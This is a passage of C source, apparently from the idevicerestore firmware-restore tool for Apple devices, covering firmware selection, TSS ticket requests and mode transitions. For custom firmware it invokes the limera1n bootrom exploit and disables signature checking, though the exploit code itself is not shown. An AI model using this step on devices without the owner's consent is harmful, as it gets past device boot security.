client->device->product_type); for (i = 0; i < count; i++) { plist_t fw = plist_array_get_item(signed_fws, i); plist_t p_version = plist_dict_get_item(fw, "version"); plist_t p_build = plist_dict_get_item(fw, "buildid"); char *s_version = NULL; char *s_build = NULL; plist_get_string_val(p_version, &s_version); plist_get_string_val(p_build, &s_build); info(" [%d] %s (build %s)\n", i+1, s_version, s_build); free(s_version); free(s_build); } while (1) { char input[64]; printf("Select the firmware you want to restore: "); fflush(stdout); fflush(stdin); get_user_input(input, 63, 0); if (*input == '\0') { plist_free(signed_fws); return -1; } if (client->flags & FLAG_QUIT) { return -1; } unsigned long selected = strtoul(input, NULL, 10); if (selected == 0 || selected > count) { printf("Invalid input value. Must be in range: 1..%u\n", count); continue; } selected_fw = plist_array_get_item(signed_fws, (uint32_t)selected-1); break; } } else { info("NOTE: Running non-interactively, automatically selecting latest available version\n"); selected_fw = plist_array_get_item(signed_fws, 0); } if (!selected_fw) { error("ERROR: failed to select latest firmware?!\n"); plist_free(signed_fws); return -1; } else { plist_t p_version = plist_dict_get_item(selected_fw, "version"); plist_t p_build = plist_dict_get_item(selected_fw, "buildid"); char *s_version = NULL; char *s_build = NULL; plist_get_string_val(p_version, &s_version); plist_get_string_val(p_build, &s_build); info("Selected firmware %s (build %s)\n", s_version, s_build); free(s_version); free(s_build); plist_t p_url = plist_dict_get_item(selected_fw, "url"); plist_t p_sha1 = plist_dict_get_item(selected_fw, "sha1sum"); char *s_sha1 = NULL; plist_get_string_val(p_url, &fwurl); plist_get_string_val(p_sha1, &s_sha1); if (strlen(s_sha1) == 40) { int i; int v; for (i = 0; i < 40; i+=2) { v = 0; sscanf(s_sha1+i, "%02x", &v); fwsha1[i/2] = (unsigned char)v; } p_fwsha1 = &fwsha1[0]; } else { error("ERROR: unexpected size of sha1sum\n"); } } plist_free(signed_fws); if (!fwurl || !p_fwsha1) { error("ERROR: Missing firmware URL or SHA1\n"); return -1; } char* ipsw = NULL; res = ipsw_download_fw(fwurl, p_fwsha1, client->cache_dir, &ipsw); if (res != 0) { free(ipsw); return res; } else { client->ipsw = ipsw_open(ipsw); if (!client->ipsw) { error("ERROR: Failed to open ipsw '%s'\n", ipsw); free(ipsw); return -1; } free(ipsw); } } idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.6); if (client->flags & FLAG_NOACTION) { return 0; } // extract buildmanifest if (client->flags & FLAG_CUSTOM) { info("Extracting Restore.plist from IPSW\n"); if (ipsw_extract_restore_plist(client->ipsw, &client->build_manifest) < 0) { error("ERROR: Unable to extract Restore.plist from %s. Firmware file might be corrupt.\n", client->ipsw->path); return -1; } } else { info("Extracting BuildManifest from IPSW\n"); if (ipsw_extract_build_manifest(client->ipsw, &client->build_manifest, &tss_enabled) < 0) { error("ERROR: Unable to extract BuildManifest from %s. Firmware file might be corrupt.\n", client->ipsw->path); return -1; } } if (client->flags & FLAG_CUSTOM) { // prevent attempt to sign custom firmware tss_enabled = 0; info("Custom firmware requested; TSS has been disabled.\n"); } if (client->mode == MODE_RESTORE) { if (!(client->flags & FLAG_ALLOW_RESTORE_MODE)) { if (restore_reboot(client) < 0) { error("ERROR: Unable to exit restore mode\n"); return -2; } // we need to refresh the current mode again mutex_lock(&client->device_event_mutex); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000); if (client->mode == MODE_UNKNOWN || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to discover device mode. Please make sure a device is attached.\n"); return -1; } info("Found device in %s mode\n", client->mode->string); mutex_unlock(&client->device_event_mutex); } } if (client->mode == MODE_PORTDFU) { unsigned int pdfu_bdid = 0; unsigned int pdfu_cpid = 0; unsigned int prev = 0; if (dfu_get_bdid(client, &pdfu_bdid) < 0) { error("ERROR: Failed to get bdid for Port DFU device!\n"); return -1; } if (dfu_get_cpid(client, &pdfu_cpid) < 0) { error("ERROR: Failed to get cpid for Port DFU device!\n"); return -1; } if (dfu_get_prev(client, &prev) < 0) { error("ERROR: Failed to get PREV for Port DFU device!\n"); return -1; } unsigned char* pdfu_nonce = NULL; unsigned int pdfu_nsize = 0; if (dfu_get_portdfu_nonce(client, &pdfu_nonce, &pdfu_nsize) < 0) { error("ERROR: Failed to get nonce for Port DFU device!\n"); return -1; } plist_t build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_ERASE_INSTALL, 0); if (!build_identity) { error("ERORR: Failed to get build identity\n"); return -1; } unsigned int b_pdfu_cpid = (unsigned int)plist_dict_get_uint(build_identity, "USBPortController1,ChipID"); if (b_pdfu_cpid != pdfu_cpid) { error("ERROR: cpid 0x%02x doesn't match USBPortController1,ChipID in build identity (0x%02x)\n", pdfu_cpid, b_pdfu_cpid); return -1; } unsigned int b_pdfu_bdid = (unsigned int)plist_dict_get_uint(build_identity, "USBPortController1,BoardID"); if (b_pdfu_bdid != pdfu_bdid) { error("ERROR: bdid 0x%x doesn't match USBPortController1,BoardID in build identity (0x%x)\n", pdfu_bdid, b_pdfu_bdid); return -1; } plist_t parameters = plist_new_dict(); plist_dict_set_item(parameters, "@USBPortController1,Ticket", plist_new_bool(1)); plist_dict_set_item(parameters, "USBPortController1,ECID", plist_new_int(client->ecid)); plist_dict_copy_item(parameters, build_identity, "USBPortController1,BoardID", NULL); plist_dict_copy_item(parameters, build_identity, "USBPortController1,ChipID", NULL); plist_dict_copy_item(parameters, build_identity, "USBPortController1,SecurityDomain", NULL); plist_dict_set_item(parameters, "USBPortController1,SecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "USBPortController1,ProductionMode", plist_new_bool(1)); plist_t usbf = plist_access_path(build_identity, 2, "Manifest", "USBPortController1,USBFirmware"); if (!usbf) { plist_free(parameters); error("ERROR: Unable to find USBPortController1,USBFirmware in build identity\n"); return -1; } plist_t p_fwpath = plist_access_path(usbf, 2, "Info", "Path"); if (!p_fwpath) { plist_free(parameters); error("ERROR: Unable to find path of USBPortController1,USBFirmware component\n"); return -1; } const char* fwpath = plist_get_string_ptr(p_fwpath, NULL); if (!fwpath) { plist_free(parameters); error("ERROR: Unable to get path of USBPortController1,USBFirmware component\n"); return -1; } unsigned char* uarp_buf = NULL; unsigned int uarp_size = 0; if (ipsw_extract_to_memory(client->ipsw, fwpath, &uarp_buf, &uarp_size) < 0) { plist_free(parameters); error("ERROR: Unable to extract '%s' from IPSW\n", fwpath); return -1; } usbf = plist_copy(usbf); plist_dict_remove_item(usbf, "Info"); plist_dict_set_item(parameters, "USBPortController1,USBFirmware", usbf); plist_dict_set_item(parameters, "USBPortController1,Nonce", plist_new_data((const char*)pdfu_nonce, pdfu_nsize)); plist_t request = tss_request_new(NULL); if (request == NULL) { plist_free(parameters); error("ERROR: Unable to create TSS request\n"); return -1; } plist_dict_merge(&request, parameters); plist_free(parameters); // send request and grab response plist_t response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to send TSS request\n"); return -1; } info("Received USBPortController1,Ticket\n"); info("Creating Ace3Binary\n"); unsigned char* ace3bin = NULL; size_t ace3bin_size = 0; if (ace3_create_binary(uarp_buf, uarp_size, pdfu_bdid, prev, response, &ace3bin, &ace3bin_size) < 0) { error("ERROR: Could not create Ace3Binary\n"); return -1; } plist_free(response); free(uarp_buf); if (idevicerestore_keep_pers) { write_file("Ace3Binary", (const char*)ace3bin, ace3bin_size); } if (dfu_send_buffer_with_options(client, ace3bin, ace3bin_size, IRECV_SEND_OPT_DFU_NOTIFY_FINISH | IRECV_SEND_OPT_DFU_SMALL_PKT) < 0) { error("ERROR: Could not send Ace3Buffer to device\n"); return -1; } debug("Waiting for device to disconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 5000); if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not disconnect. Port DFU failed.\n"); } return -2; } debug("Waiting for device to reconnect in DFU mode...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 5000); if (client->mode != MODE_DFU || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not reconnect in DFU mode. Port DFU failed.\n"); } return -2; } mutex_unlock(&client->device_event_mutex); if (client->flags & FLAG_NOACTION) { info("Port DFU restore successful.\n"); return 0; } else { info("Port DFU restore successful. Continuing.\n"); } } idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.8); /* check if device type is supported by the given build manifest */ if (build_manifest_check_compatibility(client->build_manifest, client->device->product_type) < 0) { error("ERROR: Could not make sure this firmware is suitable for the current device. Refusing to continue.\n"); return -1; } /* print iOS information from the manifest */ build_manifest_get_version_information(client->build_manifest, client); info("IPSW Product Version: %s\n", client->version); info("IPSW Product Build: %s Major: %d\n", client->build, client->build_major); client->image4supported = is_image4_supported(client); info("Device supports Image4: %s\n", (client->image4supported) ? "true" : "false"); // choose whether this is an upgrade or a restore (default to upgrade) client->tss = NULL; plist_t build_identity = NULL; int build_identity_needs_free = 0; if (client->flags & FLAG_CUSTOM) { build_identity = plist_new_dict(); build_identity_needs_free = 1; { plist_t node; plist_t comp; plist_t inf; plist_t manifest; char tmpstr[256]; char p_all_flash[128]; char lcmodel[8]; strcpy(lcmodel, client->device->hardware_model); int x = 0; while (lcmodel[x]) { lcmodel[x] = tolower(lcmodel[x]); x++; } sprintf(p_all_flash, "Firmware/all_flash/all_flash.%s.%s", lcmodel, "production"); strcpy(tmpstr, p_all_flash); strcat(tmpstr, "/manifest"); // get all_flash file manifest char *files[16]; char *fmanifest = NULL; uint32_t msize = 0; if (ipsw_extract_to_memory(client->ipsw, tmpstr, (unsigned char**)&fmanifest, &msize) < 0) { error("ERROR: could not extract %s from IPSW\n", tmpstr); free(build_identity); return -1; } char *tok = strtok(fmanifest, "\r\n"); int fc = 0; while (tok) { files[fc++] = strdup(tok); if (fc >= 16) { break; } tok = strtok(NULL, "\r\n"); } free(fmanifest); manifest = plist_new_dict(); for (x = 0; x < fc; x++) { inf = plist_new_dict(); strcpy(tmpstr, p_all_flash); strcat(tmpstr, "/"); strcat(tmpstr, files[x]); plist_dict_set_item(inf, "Path", plist_new_string(tmpstr)); comp = plist_new_dict(); plist_dict_set_item(comp, "Info", inf); const char* compname = get_component_name(files[x]); if (compname) { plist_dict_set_item(manifest, compname, comp); if (!strncmp(files[x], "DeviceTree", 10)) { plist_dict_set_item(manifest, "RestoreDeviceTree", plist_copy(comp)); } } else { error("WARNING: unhandled component %s\n", files[x]); plist_free(comp); } free(files[x]); files[x] = NULL; } // add iBSS sprintf(tmpstr, "Firmware/dfu/iBSS.%s.%s.dfu", lcmodel, "RELEASE"); inf = plist_new_dict(); plist_dict_set_item(inf, "Path", plist_new_string(tmpstr)); comp = plist_new_dict(); plist_dict_set_item(comp, "Info", inf); plist_dict_set_item(manifest, "iBSS", comp); // add iBEC sprintf(tmpstr, "Firmware/dfu/iBEC.%s.%s.dfu", lcmodel, "RELEASE"); inf = plist_new_dict(); plist_dict_set_item(inf, "Path", plist_new_string(tmpstr)); comp = plist_new_dict(); plist_dict_set_item(comp, "Info", inf); plist_dict_set_item(manifest, "iBEC", comp); // add kernel cache plist_t kdict = NULL; node = plist_dict_get_item(client->build_manifest, "KernelCachesByTarget"); if (node && (plist_get_node_type(node) == PLIST_DICT)) { char tt[4]; strncpy(tt, lcmodel, 3); tt[3] = 0; kdict = plist_dict_get_item(node, tt); } else { // Populated in older iOS IPSWs kdict = plist_dict_get_item(client->build_manifest, "RestoreKernelCaches"); } if (kdict && (plist_get_node_type(kdict) == PLIST_DICT)) { plist_t kc = plist_dict_get_item(kdict, "Release"); if (kc && (plist_get_node_type(kc) == PLIST_STRING)) { inf = plist_new_dict(); plist_dict_set_item(inf, "Path", plist_copy(kc)); comp = plist_new_dict(); plist_dict_set_item(comp, "Info", inf); plist_dict_set_item(manifest, "KernelCache", comp); plist_dict_set_item(manifest, "RestoreKernelCache", plist_copy(comp)); } } // add ramdisk node = plist_dict_get_item(client->build_manifest, "RestoreRamDisks"); if (node && (plist_get_node_type(node) == PLIST_DICT)) { plist_t rd = plist_dict_get_item(node, (client->flags & FLAG_ERASE) ? "User" : "Update"); // if no "Update" ram disk entry is found try "User" ram disk instead if (!rd && !(client->flags & FLAG_ERASE)) { rd = plist_dict_get_item(node, "User"); // also, set the ERASE flag since we actually change the restore variant client->flags |= FLAG_ERASE; } if (rd && (plist_get_node_type(rd) == PLIST_STRING)) { inf = plist_new_dict(); plist_dict_set_item(inf, "Path", plist_copy(rd)); comp = plist_new_dict(); plist_dict_set_item(comp, "Info", inf); plist_dict_set_item(manifest, "RestoreRamDisk", comp); } } // add OS filesystem node = plist_dict_get_item(client->build_manifest, "SystemRestoreImages"); if (!node) { error("ERROR: missing SystemRestoreImages in Restore.plist\n"); } plist_t os = plist_dict_get_item(node, "User"); if (!os) { error("ERROR: missing filesystem in Restore.plist\n"); } else { inf = plist_new_dict(); plist_dict_set_item(inf, "Path", plist_copy(os)); comp = plist_new_dict(); plist_dict_set_item(comp, "Info", inf); plist_dict_set_item(manifest, "OS", comp); } // add info inf = plist_new_dict(); plist_dict_set_item(inf, "RestoreBehavior", plist_new_string((client->flags & FLAG_ERASE) ? "Erase" : "Update")); plist_dict_set_item(inf, "Variant", plist_new_string((client->flags & FLAG_ERASE) ? "Customer " RESTORE_VARIANT_ERASE_INSTALL : "Customer " RESTORE_VARIANT_UPGRADE_INSTALL)); plist_dict_set_item(build_identity, "Info", inf); // finally add manifest plist_dict_set_item(build_identity, "Manifest", manifest); } } else if (client->restore_variant) { build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, client->restore_variant, 1); } else if (client->flags & FLAG_ERASE) { build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_ERASE_INSTALL, 0); } else { build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_UPGRADE_INSTALL, 0); if (!build_identity) { build_identity = build_manifest_get_build_identity_for_model(client->build_manifest, client->device->hardware_model); } } if (build_identity == NULL) { error("ERROR: Unable to find a matching build identity\n"); return -1; } client->macos_variant = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_MACOS_RECOVERY_OS, 1); /* print information about current build identity */ build_identity_print_information(build_identity); if (client->macos_variant) { info("Performing macOS restore\n"); } if (client->mode == MODE_NORMAL && !(client->flags & FLAG_ERASE) && !(client->flags & FLAG_SHSHONLY)) { if (client->device_version && (compare_versions(client->device_version, client->version) > 0)) { if (client->flags & FLAG_INTERACTIVE) { char input[64]; char spaces[16]; int num_spaces = 13 - strlen(client->version) - strlen(client->device_version); memset(spaces, ' ', num_spaces); spaces[num_spaces] = '\0'; printf("################################ [ WARNING ] #################################\n" "# You are trying to DOWNGRADE a %s device with an IPSW for %s while%s #\n" "# trying to preserve the user data (Upgrade restore). This *might* work, but #\n" "# there is a VERY HIGH chance it might FAIL BADLY with COMPLETE DATA LOSS. #\n" "# Hit CTRL+C now if you want to abort the restore. #\n" "# If you want to take the risk (and have a backup of your important data!) #\n" "# type YES and press ENTER to continue. You have been warned. #\n" "##############################################################################\n", client->device_version, client->version, spaces); while (1) { printf("> "); fflush(stdout); fflush(stdin); input[0] = '\0'; get_user_input(input, 63, 0); if (client->flags & FLAG_QUIT) { return -1; } if (*input != '\0' && !strcmp(input, "YES")) { break; } else { printf("Invalid input. Please type YES or hit CTRL+C to abort.\n"); continue; } } } } } if (client->flags & FLAG_ERASE && client->flags & FLAG_INTERACTIVE) { char input[64]; printf("################################ [ WARNING ] #################################\n" "# You are about to perform an *ERASE* restore. ALL DATA on the target device #\n" "# will be IRREVERSIBLY DESTROYED. If you want to update your device without #\n" "# erasing the user data, hit CTRL+C now and restart without -e or --erase #\n" "# command line switch. #\n" "# If you want to continue with the ERASE, please type YES and press ENTER. #\n" "##############################################################################\n"); while (1) { printf("> "); fflush(stdout); fflush(stdin); input[0] = '\0'; get_user_input(input, 63, 0); if (client->flags & FLAG_QUIT) { return -1; } if (*input != '\0' && !strcmp(input, "YES")) { break; } else { printf("Invalid input. Please type YES or hit CTRL+C to abort.\n"); continue; } } } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.0); /* check if all components we need are actually there */ info("Checking IPSW for required components...\n"); if (build_identity_check_components_in_ipsw(build_identity, client->ipsw) < 0) { error("ERROR: Could not find all required components in IPSW %s\n", client->ipsw->path); return -1; } info("All required components found in IPSW\n"); /* Get OS (filesystem) name from build identity */ char* os_path = NULL; if (build_identity_get_component_path(build_identity, "OS", &os_path) < 0) { error("ERROR: Unable to get path for filesystem component\n"); return -1; } /* check if IPSW has OS component 'stored' in ZIP archive, otherwise we need to extract it */ int needs_os_extraction = 0; if (client->ipsw->zip) { ipsw_file_handle_t zfile = ipsw_file_open(client->ipsw, os_path); if (zfile) { if (!zfile->seekable) { needs_os_extraction = 1; } ipsw_file_close(zfile); } } if (needs_os_extraction && !(client->flags & FLAG_SHSHONLY)) { char* tmpf = NULL; struct stat st; if (client->cache_dir) { memset(&st, '\0', sizeof(struct stat)); if (stat(client->cache_dir, &st) < 0) { mkdir_with_parents(client->cache_dir, 0755); } char* ipsw_basename = strdup(path_get_basename(client->ipsw->path)); char* p = strrchr(ipsw_basename, '.'); if (p && isalpha(*(p+1))) { *p = '\0'; } tmpf = string_build_path(client->cache_dir, ipsw_basename, NULL); mkdir_with_parents(tmpf, 0755); free(tmpf); tmpf = string_build_path(client->cache_dir, ipsw_basename, os_path, NULL); free(ipsw_basename); } else { tmpf = get_temp_filename(NULL); client->delete_fs = 1; } /* check if we already have it extracted */ uint64_t fssize = 0; ipsw_get_file_size(client->ipsw, os_path, &fssize); memset(&st, '\0', sizeof(struct stat)); if (stat(tmpf, &st) == 0) { if ((fssize > 0) && ((uint64_t)st.st_size == fssize)) { info("Using cached filesystem from '%s'\n", tmpf); client->filesystem = tmpf; } } if (!client->filesystem) { info("Extracting filesystem from IPSW: %s\n", os_path); if (ipsw_extract_to_file_with_progress(client->ipsw, os_path, tmpf, 1) < 0) { error("ERROR: Unable to extract filesystem from IPSW\n"); info("Removing %s\n", tmpf); unlink(tmpf); free(tmpf); return -1; } client->filesystem = tmpf; } } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.2); /* retrieve shsh blobs if required */ if (tss_enabled) { int stashbag_commit_required = 0; if (client->mode == MODE_NORMAL && !(client->flags & FLAG_ERASE) && !(client->flags & FLAG_SHSHONLY)) { plist_t node = normal_get_lockdown_value(client, NULL, "HasSiDP"); uint8_t needs_preboard = 0; if (node && plist_get_node_type(node) == PLIST_BOOLEAN) { plist_get_bool_val(node, &needs_preboard); } if (needs_preboard) { info("Checking if device requires stashbag...\n"); plist_t manifest; if (get_preboard_manifest(client, build_identity, &manifest) < 0) { error("ERROR: Unable to create preboard manifest.\n"); return -1; } debug("DEBUG: creating stashbag...\n"); int err = normal_handle_create_stashbag(client, manifest); if (err < 0) { if (err == -2) { error("ERROR: Could not create stashbag (timeout).\n"); } else { error("ERROR: An error occurred while creating the stashbag.\n"); } return -1; } else if (err == 1) { stashbag_commit_required = 1; } plist_free(manifest); } } if (client->build_major > 8) { unsigned char* nonce = NULL; unsigned int nonce_size = 0; if (get_ap_nonce(client, &nonce, &nonce_size) < 0) { /* the first nonce request with older firmware releases can fail and it's OK */ info("NOTE: Unable to get nonce from device\n"); } if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) { if (client->nonce) { free(client->nonce); } client->nonce = nonce; client->nonce_size = nonce_size; } else { free(nonce); } } if (client->flags & FLAG_QUIT) { return -1; } if (client->mode == MODE_RESTORE && client->root_ticket) { plist_t ap_ticket = plist_new_data((char*)client->root_ticket, client->root_ticket_len); if (!ap_ticket) { error("ERROR: Failed to create ApImg4Ticket node value.\n"); return -1; } client->tss = plist_new_dict(); if (!client->tss) { error("ERROR: Failed to create ApImg4Ticket node.\n"); return -1; } plist_dict_set_item(client->tss, "ApImg4Ticket", ap_ticket); } else { if (get_tss_response(client, build_identity, &client->tss) < 0) { error("ERROR: Unable to get SHSH blobs for this device\n"); return -1; } if (client->macos_variant) { if (get_local_policy_tss_response(client, build_identity, &client->tss_localpolicy) < 0) { error("ERROR: Unable to get SHSH blobs for this device (local policy)\n"); return -1; } if (get_recoveryos_root_ticket_tss_response(client, build_identity, &client->tss_recoveryos_root_ticket) < 0) { error("ERROR: Unable to get SHSH blobs for this device (recovery OS Root Ticket)\n"); return -1; } } } if (stashbag_commit_required) { plist_t ticket = plist_dict_get_item(client->tss, "ApImg4Ticket"); if (!ticket || plist_get_node_type(ticket) != PLIST_DATA) { error("ERROR: Missing ApImg4Ticket in TSS response for stashbag commit\n"); return -1; } info("Committing stashbag...\n"); int err = normal_handle_commit_stashbag(client, ticket); if (err < 0) { error("ERROR: Could not commit stashbag (%d). Aborting.\n", err); return -1; } } } if (client->flags & FLAG_QUIT) { return -1; } if (client->flags & FLAG_SHSHONLY) { if (!tss_enabled) { info("This device does not require a TSS record\n"); return 0; } if (!client->tss) { error("ERROR: could not fetch TSS record\n"); return -1; } else { char *bin = NULL; uint32_t blen = 0; plist_to_bin(client->tss, &bin, &blen); if (bin) { char zfn[1024]; if (client->cache_dir) { strcpy(zfn, client->cache_dir); strcat(zfn, "/shsh"); } else { strcpy(zfn, "shsh"); } mkdir_with_parents(zfn, 0755); sprintf(zfn+strlen(zfn), "/%" PRIu64 "-%s-%s.shsh", client->ecid, client->device->product_type, client->version); struct stat fst; if (stat(zfn, &fst) != 0) { gzFile zf = gzopen(zfn, "wb"); gzwrite(zf, bin, blen); gzclose(zf); info("SHSH saved to '%s'\n", zfn); } else { info("SHSH '%s' already present.\n", zfn); } free(bin); } else { error("ERROR: could not get TSS record data\n"); } plist_free(client->tss); return 0; } } /* verify if we have tss records if required */ if ((tss_enabled) && (client->tss == NULL)) { error("ERROR: Unable to proceed without a TSS record.\n"); return -1; } if ((tss_enabled) && client->tss) { /* fix empty dicts */ fixup_tss(client->tss); } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.25); if (client->flags & FLAG_QUIT) { return -1; } // if the device is in normal mode, place device into recovery mode if (client->mode == MODE_NORMAL) { info("Entering recovery mode...\n"); if (normal_enter_recovery(client) < 0) { error("ERROR: Unable to place device into recovery mode from normal mode\n"); if (client->tss) plist_free(client->tss); return -5; } } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.3); if (client->flags & FLAG_QUIT) { return -1; } if (client->mode == MODE_DFU) { // if the device is in DFU mode, place it into recovery mode dfu_client_free(client); recovery_client_free(client); if ((client->flags & FLAG_CUSTOM) && limera1n_is_supported(client->device)) { info("connecting to DFU\n"); if (dfu_client_new(client) < 0) { return -1; } info("exploiting with limera1n\n"); if (limera1n_exploit(client->device, &client->dfu->client) != 0) { error("ERROR: limera1n exploit failed\n"); dfu_client_free(client); return -1; } dfu_client_free(client); info("exploited\n"); } if (dfu_enter_recovery(client, build_identity) < 0) { error("ERROR: Unable to place device into recovery mode from DFU mode\n"); if (client->tss) plist_free(client->tss); return -2; } } else if (client->mode == MODE_RECOVERY) { // device is in recovery mode if ((client->build_major > 8) && !(client->flags & FLAG_CUSTOM)) { if (!client->image4supported) { /* send ApTicket */ if (recovery_send_ticket(client) < 0) { error("ERROR: Unable to send APTicket\n"); return -2; } } } mutex_lock(&client->device_event_mutex); /* now we load the iBEC */ if (recovery_send_ibec(client, build_identity) < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send iBEC\n"); return -2; } recovery_client_free(client); debug("Waiting for device to disconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000); if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not disconnect. Possibly invalid iBEC. Reset device and try again.\n"); } return -2; } debug("Waiting for device to reconnect in recovery mode...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000); if (client->mode != MODE_RECOVERY || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not reconnect in recovery mode. Possibly invalid iBEC. Reset device and try again.\n"); } return -2; } mutex_unlock(&client->device_event_mutex); } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.5); if (client->flags & FLAG_QUIT) { return -1; } if (!client->image4supported && (client->build_major > 8)) { // we need another tss request with nonce. unsigned char* nonce = NULL; unsigned int nonce_size = 0; int nonce_changed = 0; if (get_ap_nonce(client, &nonce, &nonce_size) < 0) { error("ERROR: Unable to get nonce from device!\n"); recovery_send_reset(client); return -2; } if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) { nonce_changed = 1; if (client->nonce) { free(client->nonce); } client->nonce = nonce; client->nonce_size = nonce_size; } else { free(nonce); } if (nonce_changed && !(client->flags & FLAG_CUSTOM)) { // Welcome iOS5. We have to re-request the TSS with our nonce. plist_free(client->tss); if (get_tss_response(client, build_identity, &client->tss) < 0) { error("ERROR: Unable to get SHSH blobs for this device\n"); return -1; } if (!client->tss) { error("ERROR: can't continue without TSS\n"); return -1; } fixup_tss(client->tss); } } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.7); if (client->flags & FLAG_QUIT) { return -1; } // now finally do the magic to put the device into restore mode if (client->mode == MODE_RECOVERY) { if (recovery_enter_restore(client, build_identity) < 0) { error("ERROR: Unable to place device into restore mode\n"); if (client->tss) plist_free(client->tss); return -2; } recovery_client_free(client); } idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.9); if (client->mode != MODE_RESTORE) { mutex_lock(&client->device_event_mutex); info("Waiting for device to enter restore mode...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 180000); if (client->mode != MODE_RESTORE || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); error("ERROR: Device failed to enter restore mode.\n"); error("Please make sure that usbmuxd is running.\n"); return -1; } mutex_unlock(&client->device_event_mutex); } // device is finally in restore mode, let's do this if (client->mode == MODE_RESTORE) { if ((client->flags & FLAG_NO_RESTORE) != 0) { info("Device is now in restore mode. Exiting as requested.\n"); return 0; } client->ignore_device_add_events = 1; info("About to restore device... \n"); result = restore_device(client, build_identity); if (result < 0) { error("ERROR: Unable to restore device\n"); return result; } } /* special handling of older AppleTVs as they enter Recovery mode on boot when plugged in to USB */ if ((strncmp(client->device->product_type, "AppleTV", 7) == 0) && (client->device->product_type[7] < '5')) { if (recovery_client_new(client) == 0) { if (recovery_set_autoboot(client, 1) == 0) { recovery_send_reset(client); } else { error("Setting auto-boot failed?!\n"); } } else { error("Could not connect to device in recovery mode.\n"); } } if (result == 0) { info("DONE\n"); idevicerestore_progress(client, RESTORE_NUM_STEPS-1, 1.0); } else { info("RESTORE FAILED\n"); } if (build_identity_needs_free) plist_free(build_identity); return result; } struct idevicerestore_client_t* idevicerestore_client_new(void) { struct idevicerestore_client_t* client = (struct idevicerestore_client_t*) malloc(sizeof(struct idevicerestore_client_t)); if (client == NULL) { error("ERROR: Out of memory\n"); return NULL; } memset(client, '\0', sizeof(struct idevicerestore_client_t)); client->mode = MODE_UNKNOWN; mutex_init(&client->device_event_mutex); cond_init(&client->device_event_cond); return client; } void idevicerestore_client_free(struct idevicerestore_client_t* client) { if (!client) { return; } if (client->irecv_e_ctx) { irecv_device_event_unsubscribe(client->irecv_e_ctx); } if (client->idevice_e_ctx) { idevice_event_unsubscribe(); } cond_destroy(&client->device_event_cond); mutex_destroy(&client->device_event_mutex); if (client->tss_url) { free(client->tss_url); } if (client->version_data) { plist_free(client->version_data); } if (client->nonce) { free(client->nonce); } if (client->udid) { free(client->udid); } if (client->srnm) { free(client->srnm); } if (client->ipsw) { ipsw_close(client->ipsw); } if (client->filesystem) { if (client->delete_fs) { unlink(client->filesystem); } free(client->filesystem); } free(client->version); free(client->build); free(client->device_version); free(client->device_build); if (client->restore_boot_args) { free(client->restore_boot_args); } if (client->cache_dir) { free(client->cache_dir); } if (client->root_ticket) { free(client->root_ticket); } if (client->build_manifest) { plist_free(client->build_manifest); } if (client->preflight_info) { plist_free(client->preflight_info); } free(client->restore_variant); free(client); } void idevicerestore_set_ecid(struct idevicerestore_client_t* client, uint64_t ecid) { if (!client) return; client->ecid = ecid; } void idevicerestore_set_udid(struct idevicerestore_client_t* client, const char* udid) { if (!client) return; if (client->udid) { free(client->udid); client->udid = NULL; } if (udid) { client->udid = strdup(udid); } } void idevicerestore_set_flags(struct idevicerestore_client_t* client, int flags) { if (!client) return; client->flags = flags; } void idevicerestore_set_ipsw(struct idevicerestore_client_t* client, const char* path) { if (!client) return; if (client->ipsw) { ipsw_close(client->ipsw); client->ipsw = NULL; } if (path) { client->ipsw = ipsw_open(path); } } void idevicerestore_set_cache_path(struct idevicerestore_client_t* client, const char* path) { if (!client) return; if (client->cache_dir) { free(client->cache_dir); client->cache_dir = NULL; } if (path) { client->cache_dir = strdup(path); } } void idevicerestore_set_progress_callback(struct idevicerestore_client_t* client, idevicerestore_progress_cb_t cbfunc, void* userdata) { if (!client) return; client->progress_cb = cbfunc; client->progress_cb_data = userdata; } #ifndef IDEVICERESTORE_NOMAIN static struct idevicerestore_client_t* idevicerestore_client = NULL; static void handle_signal(int sig) { if (idevicerestore_client) { idevicerestore_client->flags |= FLAG_QUIT; ipsw_cancel(); } } void 